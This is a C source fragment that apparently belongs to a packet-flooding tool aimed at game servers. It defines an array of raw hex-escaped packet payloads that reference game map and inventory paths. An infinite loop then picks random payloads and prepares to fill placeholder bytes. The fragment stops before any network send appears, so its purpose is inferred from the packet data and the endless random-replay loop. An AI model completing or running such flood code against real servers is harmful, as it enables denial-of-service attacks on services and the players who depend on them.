char *randstrings[] = {"\xa0\xdc\x94\x6f\x5a\x29\x07\x00\x34\x04\xb9\xa9\x27\x06\x68\xf7\x04\x9d\x00\x00\x00\xbc\x1c\x85\xb5\x95\xbd\x34\xbd\x91\xcd\xbd\x50\xa1\x95\x0d\x95\xb9\xd1\x95\xc9\xbd\x50\xa1\x95\x0d\x95\xb9\xd1\x95\xc9\x7d\x09\x95\x85\x8d\xa1\x05\xc5\x00\x00\x00\x00\x00\xf4\xcc\x00\xed\xc6\xa0\x15\x00\x00\x80\x97\xa3\xb0\xb6\xb2\x97\xa6\x37\xb2\xb9\x17\x2a\xb4\xb2\xa1\x32\x37\xba\x32\xb9\x17\x2a\xb4\xb2\xa1\x32\x37\xba\x32\xb9\x2f\xa1\xb2\xb0\x31\xb4\xa0\x18\xa7\xb2\x30\x39\x00\x00\x00\x00\x80\x9e\x18\xa0\xdd\x13\x74\x02\x00\x00\xf0\x72\x14\xd6\x56\xf6\xd2\xf4\x46\x36\xf7\x42\x85\x56\x36\x54\xe6\x46\x57\x26\xf7\x42\x85\x56\x36\x54\xe6\x46\x57\x26\xf7\x25\x54\x16\x36\x86\x16\x24\x03\x00\x00\x00\x00\xd0\x33\x03\xb4\x1b\x83\x56\x00\x00\x00\x5e\x8e\xc2\xda\xca\x5e\x9a\xde\xc8\xe6\x5e\xa8\xd0\xca\x86\xca\xdc\xe8\xca\xe4\x5e\xa8\xd0\xca\x86\xca\xdc\xe8\xca\xe4\xbe\x84\xca\xc2\xc6\xd0\x82\x64\x9c\xca\xc2\xe4\x00\x00\x00\x00\x00\x7a\x69\x80\x76\x66\x90\x0b\x00\x00\xc0\xcb\x51\x58\x5b\xd9\x4b\xd3\x1b\xd9\xdc\x0b\x15\x5a\xd9\x50\x99\x1b\x5d\x99\xdc\x0b\x15\x5a\xd9\x50\x99\x1b\x5d\x99\xdc\x17\x53\x98\x5d\x98\x50\xd8\xd8\xda\x99\xdc\x5b\x9d\x1b\x19\x00\x00\x00\x00\x40\xaf\x0c\xd0\x4e\x0c\x52\x01\x00\x00\x78\x39\x0a\x6b\x2b\x7b\x69\x7a\x23\x9b\x7b\xa1\x42\x2b\x1b\x2a\x73\xa3\x2b\x93\x7b\xa1\x42\x2b\x1b\x2a\x73\xa3\x2b\x93\xfb\x92\x4a\xb3\x2b\x93\x73\x7a\x93\xa3\x43\x03\x00\x00\x00\x00\xb8\xc5\xec\x62\x7e\x31\xc3\x98\x07\xfa\x95\x21\xc6\x98\x65\xcc\x33\x66\x1a\x73\x8d\xd9\xc6\x7c\x63\xc6\x31\xe7\x98\x75\xcc\x3b\x66\x1e\x73\x8f\xd9\xc7\xfc\x63\x06\x32\x0d\x32\x0b\x99\x87\xcc\x44\xe6\x22\xb3\x91\xf9\xc8\x8c\x64\x4e\x32\x2b\x99\x97\xcc\x4c\xe6\x26\xb3\x93\xf9\xc9\x0c\x65\x1a\x65\x96\x32\x4f\x99\xa9\xcc\x55\x66\x2b\xf3\x95\x19\xcb\x9c\x65\xd6\x32\x6f\x99\xb9\xcc\x5d\x66\x2f\xf3\x97\x19\xcc\x34\xcc\x2c\x66\x1e\x33\x93\x99\xcb\xcc\x66\xe6\x33\x33\x9a\x39\xcd\xac\x66\x5e\x33\xb3\x99\xdb\xcc\x6e\xe6\x37\x33\x9c\x69\x9c\x59\xce\x3c\x67\xa6\x33\xd7\x99\xed\xcc\x77\x66\x3c\x73\x9e\x59\xcf\xbc\x67\xe6\x33\xf7\x99\xfd\xcc\x7f\x66\x40\xd3\x40\xb3\xa0\x79\xd0\x4c\x68\x06", "\xa0\xdc\x94\x6f\x5b\xe9\x42\x33\x8c\x69\x8c\x59\xc6\x3c\x63\xa6\x31\xd7\x98\x6d\xcc\x37\x66\x1c\x73\x8e\x59\xc7\xbc\x63\xe6\x31\xf7\x98\x7d\xcc\x3f\x66\x20\xd3\x20\xb3\x90\x79\xc8\x4c\x64\x2e\x32\x1b\x99\x8f\xcc\x48\xe6\x24\xb3\x92\x79\xc9\xcc\x64\x6e\x32\x3b\x99\x9f\xcc\x50\xa6\x51\x66\x29\xf3\x94\x99\xca\x5c\x65\xb6\x32\x5f\x99\xb1\xcc\x59\x66\x2d\xf3\x96\x99\xcb\xdc\x65\xf6\x32\x7f\x99\xc1\x4c\xc3\xcc\x62\xe6\x31\x33\x99\xb9\xcc\x6c\x66\x3e\x33\xa3\x99\xd3\xcc\x6a\xe6\x35\x33\x9b\xb9\xcd\xec\x66\x7e\x33\xc3\x99\xc6\x99\xe5\xcc\x73\x66\x3a\x73\x9d\xd9\xce\x7c\x67\xc6\x33\xe7\x99\xf5\xcc\x7b\x66\x3e\x73\x9f\xd9\xcf\xfc\x67\x06\x34\x0d\x34\x0b\x9a\x07\xcd\x84\xe6\x42\xb3\xa1\xf9\xd0\x8c\x68\x4e\x34\x2b\x9a\x17\xcd\x8c\xe6\x46\xb3\xa3\xf9\xd1\x0c\x69\x1a\x69\x96\x34\x4f\x9a\x2f\xcd\x9a\x66\x54\x73\xaa\x59\xd5\x84\x03\x80\x86\x00\xe1\x93\x02\xe0\x56\x00\x1f\x05\x9e\x1a\xad\xf8\x98\xe1\x49\xab\x0a\xf3\xf0\xef\x60\x65\x96\x11\x00\x60\xdc\x65\x18\x09\x00\x80\x01\x01", "\xa0\xdc\x94\x6f\x59\x29\x07\x00\x30\x04\x35\xbc\x27\x06\x68\xf7\x04\x9d\x00\x00\x00\xbc\x1c\x85\xb5\x95\xbd\x34\xbd\x91\xcd\xbd\x50\xa1\x95\x0d\x95\xb9\xd1\x95\xc9\xbd\x50\xa1\x95\x0d\x95\xb9\xd1\x95\xc9\x7d\x31\x85\xd9\x85\x19\x85\xc9\x01\x00\x00\x00\x00\xf0\xc6\x00\xed\xc0\x20\x14\x00\x00\x80\x97\xa3\xb0\xb6\xb2\x97\xa6\x37\xb2\xb9\x17\x2a\xb4\xb2\xa1\x32\x37\xba\x32\xb9\x17\x2a\xb4\xb2\xa1\x32\x37\xba\x32\xb9\x2f\xa6\x30\xbb\x30\xa7\xb2\x30\x39\x00\x00\x00\x00\x00\x5e\x19\xa0\x9d\x18\xa4\x02\x00\x00\xf0\x72\x14\xd6\x56\xf6\xd2\xf4\x46\x36\xf7\x42\x85\x56\x36\x54\xe6\x46\x57\x26\xf7\x42\x85\x56\x36\x54\xe6\x46\x57\x26\xf7\x34\x56\x16\xe6\xe6\xf4\xe5\x54\x16\x26\x07\x00\x00\x00\x00\xc0\x33\x03\xb4\x1b\x83\x56\x00\x00\x00\x5e\x8e\xc2\xda\xca\x5e\x9a\xde\xc8\xe6\x5e\xa8\xd0\xca\x86\xca\xdc\xe8\xca\xe4\x5e\xa8\xd0\xca\x86\xca\xdc\xe8\xca\xe4\x9e\xc6\xca\xc2\xdc\x9c\xbe\x9c\xca\xc2\xe4\x84\x00\x00\x00\x00\x00\x78\x62\x80\x76\x4f\xd0\x09\x00\x00\xc0\xcb\x51\x58\x5b\xd9\x4b\xd3\x1b\xd9\xdc\x0b\x15\x5a\xd9\x50\x99\x1b\x5d\x99\xdc\x0b\x15\x5a\xd9\x50\x99\x1b\x5d\x99\xdc\x57\x50\xcc\x97\x51\x98\x9c\x10\x00\x00\x00\x00\x40\x4f\x0c\xd0\xee\x09\x3a\x01\x00\x00\x78\x39\x0a\x6b\x2b\x7b\x69\x7a\x23\x9b\x7b\xa1\x42\x2b\x1b\x2a\x73\xa3\x2b\x93\x7b\xa1\x42\x2b\x1b\x2a\x73\xa3\x2b\x93\xfb\x0a\x8a\xf9\x72\x2a\x0b\x93\x03\x00\x00\x00\x00\xe8\x8d\x01\xda\x81\x41\x28\x00\x00\x00\x2f\x47\x61\x6d\x65\x2f\x4d\x6f\x64\x73\x2f\x54\x68\x65\x43\x65\x6e\x74\x65\x72\x2f\x54\x68\x65\x43\x65\x6e\x74\x65\x72\x5f\x41\x31\x5f\x4e\x65\x61\x72\x42\x00\x00\x00\x00\x00\xbd\x30\x40\x3b\x27\xc8\x04\x00\x00\xe0\xe5\x28\xac\xad\xec\xa5\xe9\x8d\x6c\xee\x85\x0a\xad\x6c\xa8\xcc\x8d\xae\x4c\xee\x85\x0a\xad\x6c\xa8\xcc\x8d\xae\x4c\xee\x4b\x28\xe6\xcb\x28\x4c\x0e\x00\x00\x00\x00\xa0\x27\x06\x68\xf7\x04\x9d\x00\x00\x00\xbc\x1c\x85\xb5\x95\xbd\x34\xbd\x91\xcd\xbd\x50\xa1\x95\x0d\x95\xb9\xd1\x95\xc9\xbd\x50\xa1\x95\x0d\x95\xb9\xd1\x95\xc9\x7d\x09\xc5\x7c\x19\x85\xc9\x09\x01\x00\x00\x00\x00\x0c", "\xfd\xe2\xf9\x36\xc8\x02\x07\x00\x38\x00\x6d\x80\x22\x55\x01\x38\x00\xe0\x01\xc8\x22\x4c\x20\x48\x79\x2d\x30\x00\x00\x00\xc0\x99\x75\x00\x20\x02\x00\x00\x00\x4a\x2e\xad\x2d\x8c\x2d\xc9\xcd\xae\xcc\x8d\xee\x4d\x2e\x2f\x06\xc0\xdd\x44\x6f\xe2\x37\x11\x9c\x30\x9c\x28\x4e\x1c\x27\x02", "\xfd\xe2\xf9\x36\xc8\x02\x07\x00\x38\x00\x6d\x80\x22\x55\x01\x38\x00\xe0\x01\xc8\x22\x4c\x20\x48\x79\x2d\x30\x00\x00\x00\xc0\x99\x75\x00\x20\x02\x00\x00\x00\x4a\x2e\xad\x2d\x8c\x2d\xc9\xcd\xae\xcc\x8d\xee\x4d\x2e\x2f\x06\xc0\xdd\x44\x6f\xe2\x37\x11\x9c\x30\x9c\x28\x4e\x1c\x27\x02", "\x23\x80\x27\x33\xee\x56\x1d\xed\x8e\x96\x47\xdb\xa3\xf5\xd1\xfe\x68\x1c\x00\xb0\x04\x64\x11\x26\x10\xa4\xbc\x16\x18\x00\x00\x00\xa0\xd6\x36\x00\x10\x01\x00\x00\x00\x25\x97\xd6\x16\xc6\x96\xe4\x66\x57\xe6\x46\xf7\x26\x97\x17\x03\x60\x20\x2d\x40\x12\x51\x79", "\x3c\x5c\xa0\x99\x03\xc2\x83\x81\x17\x61\x25\x62\x47\x7d\xde\x96\xc1\x55\x7d\x93\x8d\x91\x7f\x46\x07\x00\x00\x00\xb2\xf7\xc5\x60\x8c\xd0\xca\xa5\xe7\xf9\x40\xca\x05\x7f\x52\x3b\xb5\xa4\xfb\x49\x91\x0f\x05\x6f\xa6\x4a\xfa\x63\x03\x7d\xbe\xc0\x13\x62\x01\xb7\xf5\x4f\xa4\xff\xba\x13\x22\x7e\x37\x11\xf8\xa4\x42\x2d\x95\x1d\xb1\x02\x00\x00\xea\x43\xbf\x61\xb3\x32\xea\x2b\x94\x73\xfa\xfc\x96\x6b\x8e\x0d\x73\x20\x87\xcc\x8d\x62\x6f\x0f\xaf\x44\x29\x09\x7b\x53\x81\x6c\xd6\x53\x44\xb7\x5d\xef\xad\x37\x98\x2a\xcd\xdd\x7a\xc1\x08\xb7\x3c\x5c\xa0\x99\xe2\xaf\x23\x2e\x61\x97\x7f\x8e\x9a\xa0\x8c\x9c\xb0\xed\x0e\x93\x05\xf8\xdc\xe2", "\xfd\xe2\xf9\x36\x0e\xcc\x2c\xa8\x16\x74\x0b\x52\x01\x00\x18\x80\x00\x40", "\x13\x8D\x69\x19\x06\x40\x01\xE0\x00\x90\x00\x58\x00\x34\x00\x1E\x00\x11\x80\x09\x40\x05\xE0\x02\x90\x01\xD8\x00\x74\x00\x3E\x00\x21\x00\x23\x80\x12\xC0\x09\x20\x05\xB0\x02\x68\x01\xBC\x00\x62\x00\x33\x80\x1A\xC0\x0D\x20\x07\xB0\x03\xE8\x01\xFC\x00\x82\x00\x86\x00\x45\x00\x0E\x00\x08\x00\xF2\x6B\x45\xC2\x00\x78\x69\x80\x76\x66\x90\x0B\x00\x00\xC0\xCB\x51\x58\x5B\xD9\x4B\x53\x18\xDC\xDC\x0B\x15\x5A\x59\xD2\x1C\x5B\x98\x1B\xD9\x54\x9D\x58\x53\x18\xDC\xDC\x0B\x53\x98\x1B\xD9\xDC\x58\x18\x5C\xD9\x54\x9D\x18\x5B\x99\x5D\x19\x1B\x00\x00\x00\x00\x40\x0F\x0D\xD0\xAE\x0C\x6A\x01\x00\x00\x78\x39\x0A\x6B\x2B\x7B\x69\x0A\x83\x9B\x7B\xA1\x42\x2B\x4B\x9A\x63\x0B\x73\x23\x9B\xAA\x13\x6B\x0A\x83\x9B\x7B\x69\x0A\x9B\xA3\x2B\x93\x4B\x12\x62\x1A\x0A\x83\xA3\xAB\x93\x2B\x03\x00\x00\x00\x00\xE8\xA5\x01\xDA\x99\x41\x2E\x00\x00\x00\x2F\x47\x61\x6D\x65\x2F\x4D\x61\x70\x73\x2F\x54\x68\x65\x49\x73\x6C\x61\x6E\x64\x53\x75\x62\x4D\x61\x70\x73\x2F\x4D\x61\x73\x74\x65\x72\x49\x42\x4C\x43\x61\x70\x74\x75\x72\x65\x73\x00\x00\x00\x00\x00\xBD\x32\x40\x3B\x31\x48\x05\x00\x00\xE0\xE5\x28\xAC\xAD\xEC\xA5\x29\x0C\x6E\xEE\x85\x0A\xAD\x2C\x69\x8E\x2D\xCC\x8D\x6C\xAA\x4E\xAC\x29\x0C\x6E\xEE\xA5\x29\x6C\x8E\xAE\x4C\x2E\x49\x88\x69\xCA\xED\xED\x0E\x00\x00\x00\x00\xA0\x07\x06\x68\xD7\x04\x95\x00\x00\x00\xBC\x1C\x85\xB5\x95\xBD\x34\x85\xC1\xCD\xBD\x50\xA1\x95\x25\xCD\xB1\x85\xB9\x91\x4D\xD5\x89\x35\x85\xC1\xCD\xBD\x3C\x89\x95\xB1\xA5\xCD\xAD\xCD\x01\x00\x00\x00\x00\xF4\x04\x01\xED\xDE\xA0\x1B\x00\x00\x80\x97\xA3\xB0\xB6\xB2\x97\xA6\x30\xB8\xB9\x17\x2A\xB4\xB2\xA4\x39\xB6\x30\x37\xB2\xA9\x3A\xB1\xA6\x30\xB8\xB9\x17\xA8\x32\xB9\xB9\xB4\x39\xBA\x32\x37\xBA\xA3\xB0\xB6\x32\x38\xB6\xB0\xBC\xA9\x3A\x31\xB6\x32\xBB\x32\x36\x00\x00\x00\x00\x80\x5E\x22\xA0\x9D\x21\xE4\x03\x00\x00\xF0\x72\x14\xD6\x56\xF6\xD2\x14\x06\x37\xF7\x42\x85\x56\x96\x34\xC7\x16\xE6\x46\x36\x55\x27\xD6\x14\x06\x37\xF7\x02\x55\x26\x37\x97\x36\x47\x57\xE6\x46\x77\x14\xD6\x56\x06\xC7\x16\x96\x37\x55\x27\xC6\x56\x66\x57\xC6\xF6\x25\x94\xF6\xD6\x56\x36\x07\x00\x00\x00\x00\x30", "\x13\x8D\x69\x19\x08\x00\x01\x00\x14\x80\xA0\x00\x01\xA8\x61\x00\x00\x07\x00\x10\x00\x4D\xB6\x27\x06\x68\xF7\x04\x9D\x00\x00\x00\xBC\x1C\x85\xB5\x95\xBD\x34\x85\xC1\xCD\xBD\x50\xA1\x95\x25\xCD\xB1\x85\xB9\x91\x4D\xD5\x89\x35\x85\xC1\xCD\xBD\x10\xC5\x7C\x19\x85\xC9\x7D\x5D\x25\x41\x01\x00\x00\x00\x00\xF4\xC4\x00\xED\x9E\xA0\x13\x00\x00\x80\x97\xA3\xB0\xB6\xB2\x97\xA6\x30\xB8\xB9\x17\x2A\xB4\xB2\xA4\x39\xB6\x30\x37\xB2\xA9\x3A\xB1\xA6\x30\xB8\xB9\x17\x22\x99\x2F\xA3\x30\xB9\xAF\xAB\x24\x28\x00\x00\x00\x00\x80\x9E\x18\xA0\xDD\x13\x74\x02\x00\x00\xF0\x72\x14\xD6\x56\xF6\xD2\x14\x06\x37\xF7\x42\x85\x56\x96\x34\xC7\x16\xE6\x46\x36\x55\x27\xD6\x14\x06\x37\xF7\x42\x34\xF3\x65\x14\x26\xF7\x75\x95\x04\x05\x00\x00\x00\x00\xD0\x13\x03\xB4\x7B\x82\x4E\x00\x00\x00\x5E\x8E\xC2\xDA\xCA\x5E\x9A\xC2\xE0\xE6\x5E\xA8\xD0\xCA\x92\xE6\xD8\xC2\xDC\xC8\xA6\xEA\xC4\x9A\xC2\xE0\xE6\x5E\x8A\x62\xBE\x8C\xC2\xE4\xBE\xAE\x92\xA0\x00\x00\x00\x00\x00\x7A\x62\x80\x76\x4F\xD0\x09\x00\x00\xC0\xCB\x51\x58\x5B\xD9\x4B\x53\x18\xDC\xDC\x0B\x15\x5A\x59\xD2\x1C\x5B\x98\x1B\xD9\x54\x9D\x58\x53\x18\xDC\xDC\x4B\x91\xCC\x97\x51\x98\xDC\xD7\x55\x12\x14\x00\x00\x00\x00\x40\x6F\x0C\xD0\x0E\x0C\x42\x01\x00\x00\x78\x39\x0A\x6B\x2B\x7B\x69\x0A\x83\x9B\x7B\xA1\x42\x2B\x4B\x9A\x63\x0B\x73\x23\x9B\xAA\x13\x6B\x0A\x83\x9B\x7B\x29\x92\xF9\x72\x2A\x0B\x93\xFB\xBA\x4A\x82\x02\x00\x00\x00\x00\xE8\x89\x01\xDA\x3D\x41\x27\x00\x00\x00\x2F\x47\x61\x6D\x65\x2F\x4D\x61\x70\x73\x2F\x54\x68\x65\x49\x73\x6C\x61\x6E\x64\x53\x75\x62\x4D\x61\x70\x73\x2F\x45\x33\x5F\x46\x61\x72\x5F\x57\x49\x50\x00\x00\x00\x00\x00\xBD\x35\x40\x3B\x34\x08\x06\x00\x00\xE0\xE5\x28\xAC\xAD\xEC\xA5\x29\x0C\x6E\xEE\x85\x0A\xAD\x2C\x69\x8E\x2D\xCC\x8D\x6C\xAA\x4E\xAC\x29\x0C\x6E\xEE\xA5\xCA\x8D\xAC\x4C\xEE\x2A\x8C\xAE\x4C\xEE\x6B\xEA\xAD\x8E\x0E\xED\x0B\x46\x06\x00\x00\x00\x00\xA0\x22\x1E\x01\x8E\x00\x49\x80\x25\x40\x13\xE0\x09\x10\x05\x98\x02\x54\x01\xAE\x00\x59\x80\x2D\x40\x17\xE0\x0B\x10\x06\x08\x00\x00\x00\x30\x06\x28\x03\x9C\x01\xD2\x00\x6B\x80\x36\xC0\x1B\x20\x0E\x30\x07\xA8\x03\xDC\x01\xF2\x00\x7B\x80\x3E\xC0\x1F\x20", "\x13\x8D\x69\x19\x00\x45\x53\xE3\xA9\xC1\x01\x00\x18\x40\x16\x61\x02\x41\xCA\x6B\x81\x01\x00\x00\x00\xF6\x13\x00\x00\x11\x00\x00\x00\x50\x72\x69\x6D\x61\x6C\x49\x6E\x76\x65\x6E\x74\x6F\x72\x79\x31\x00\x46\x35\xC0\x0B\x40\x27\xD0\xF2\x11\x00\x88\x20\xC0\x74\x81\xF4\x1D\x08\x42\x69\x9A\xED\x9A\x72\x30\x00\x00\x80\x37\x76\xD4\x71\x02\xDD\x2A\xEF\x94\x30\x27\x8F\xE9\x00\xA7\xCF\x14\x08", "\x13\x8D\x69\x19\x99\xE9\x7D\x37\xBF\xCB\x01\x00\x40\x40\x16\x61\x02\x41\xCA\x6B\x81\x01\x00\x00\x00\x76\xE3\x01\x00\x11\x00\x00\x00\x50\x72\x69\x6D\x61\x6C\x49\x6E\x76\x65\x6E\x74\x6F\x72\x79\x31\x00\xEE\x77\xC1\x0B\x40\x2B\xD0\xF2\x11\x00\x88\x22\xC0\x14\x82\x5A\xF3\x0A\x43\x69\x11\x8C\xAE\xDB\xF8\x00\x00\x80\x37\x58\xB4\x9C\x02\xE0\x99\xEB\x64\xA0\x25\x8F\xB9\xFD\x27\xE9\x4B\x0F\x00\x00\x0C\x08", "\x13\x8D\x69\x19\x94\x41\xBE\x61\xDF\xC0\x01\x00\xC3\x40\x16\x61\x02\x41\xCA\x6B\x81\x01\x00\x00\x00\xA8\x11\x00\x00\x11\x00\x00\x00\x50\x72\x69\x6D\x61\x6C\x49\x6E\x76\x65\x6E\x74\x6F\x72\x79\x31\x00\xF6\x1B\xFE\x0D\xE0\x05\xA0\x1D\x68\xF9\x08\x00\xB0\x33\xF5\xEB\xFB\x44\xA1\x74\xD7\x7C\x40\x22\x68\x01\x00\x40\x68\xF9\x08\x00\x44\x10\x60\xBA\x40\x88\x15\x45\xA1\x14\x73\x8B\x50\x0A\x6F\x01\x00\xC0\x1B\x2D\x08\x2A\x41\x56\x8D\x77\xD7\xAA\x92\xC7\x98\xFB\x17\x36\x0A\x04", "\x13\x8D\x69\x19\x08\x00\x01\x00\x14\x80\xA0\x00\x01\xA8\x61\x00\x00\x07\x00\x10\x00\x4D\xB6\x27\x06\x68\xF7\x04\x9D\x00\x00\x00\xBC\x1C\x85\xB5\x95\xBD\x34\x85\xC1\xCD\xBD\x50\xA1\x95\x25\xCD\xB1\x85\xB9\x91\x4D\xD5\x89\x35\x85\xC1\xCD\xBD\x10\xC5\x7C\x19\x85\xC9\x7D\x5D\x25\x41\x01\x00\x00\x00\x00\xF4\xC4\x00\xED\x9E\xA0\x13\x00\x00\x80\x97\xA3\xB0\xB6\xB2\x97\xA6\x30\xB8\xB9\x17\x2A\xB4\xB2\xA4\x39\xB6\x30\x37\xB2\xA9\x3A\xB1\xA6\x30\xB8\xB9\x17\x22\x99\x2F\xA3\x30\xB9\xAF\xAB\x24\x28\x00\x00\x00\x00\x80\x9E\x18\xA0\xDD\x13\x74\x02\x00\x00\xF0\x72\x14\xD6\x56\xF6\xD2\x14\x06\x37\xF7\x42\x85\x56\x96\x34\xC7\x16\xE6\x46\x36\x55\x27\xD6\x14\x06\x37\xF7\x42\x34\xF3\x65\x14\x26\xF7\x75\x95\x04\x05\x00\x00\x00\x00\xD0\x13\x03\xB4\x7B\x82\x4E\x00\x00\x00\x5E\x8E\xC2\xDA\xCA\x5E\x9A\xC2\xE0\xE6\x5E\xA8\xD0\xCA\x92\xE6\xD8\xC2\xDC\xC8\xA6\xEA\xC4\x9A\xC2\xE0\xE6\x5E\x8A\x62\xBE\x8C\xC2\xE4\xBE\xAE\x92\xA0\x00\x00\x00\x00\x00\x7A\x62\x80\x76\x4F\xD0\x09\x00\x00\xC0\xCB\x51\x58\x5B\xD9\x4B\x53\x18\xDC\xDC\x0B\x15\x5A\x59\xD2\x1C\x5B\x98\x1B\xD9\x54\x9D\x58\x53\x18\xDC\xDC\x4B\x91\xCC\x97\x51\x98\xDC\xD7\x55\x12\x14\x00\x00\x00\x00\x40\x6F\x0C\xD0\x0E\x0C\x42\x01\x00\x00\x78\x39\x0A\x6B\x2B\x7B\x69\x0A\x83\x9B\x7B\xA1\x42\x2B\x4B\x9A\x63\x0B\x73\x23\x9B\xAA\x13\x6B\x0A\x83\x9B\x7B\x29\x92\xF9\x72\x2A\x0B\x93\xFB\xBA\x4A\x82\x02\x00\x00\x00\x00\xE8\x89\x01\xDA\x3D\x41\x27\x00\x00\x00\x2F\x47\x61\x6D\x65\x2F\x4D\x61\x70\x73\x2F\x54\x68\x65\x49\x73\x6C\x61\x6E\x64\x53\x75\x62\x4D\x61\x70\x73\x2F\x45\x33\x5F\x46\x61\x72\x5F\x57\x49\x50\x00\x00\x00\x00\x00\xBD\x35\x40\x3B\x34\x08\x06\x00\x00\xE0\xE5\x28\xAC\xAD\xEC\xA5\x29\x0C\x6E\xEE\x85\x0A\xAD\x2C\x69\x8E\x2D\xCC\x8D\x6C\xAA\x4E\xAC\x29\x0C\x6E\xEE\xA5\xCA\x8D\xAC\x4C\xEE\x2A\x8C\xAE\x4C\xEE\x6B\xEA\xAD\x8E\x0E\xED\x0B\x46\x06\x00\x00\x00\x00\xA0\x22\x1E\x01\x8E\x00\x49\x80\x25\x40\x13\xE0\x09\x10\x05\x98\x02\x54\x01\xAE\x00\x59\x80\x2D\x40\x17\xE0\x0B\x10\x06\x08\x00\x00\x00\x30\x06\x28\x03\x9C\x01\xD2\x00\x6B\x80\x36\xC0\x1B\x20\x0E\x30\x07\xA8\x03\xDC\x01\xF2\x00\x7B\x80\x3E\xC0\x1F\x20", "\x44\x65\xca\x31\xd8\x32\x10\x00\x68\x05\x5a\x3e\x02\x00\x51\x04\x98\x42\x30\xf7\x00\x45\x28\xfd\xdb\x27\x55\xb3\x7d\x00\x00\xf0\x06\x93\x26\x3a\x70\xc9\xb8\x9e\xf8\xc4\xe4\x11\x07\x7e\xe9\xe5\xb4\x04\x00\x80%c%c%c"};
while(1){
char *pkt_str = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
if(strstr(pkt_str, "%c%c%c")) {
char xd[256];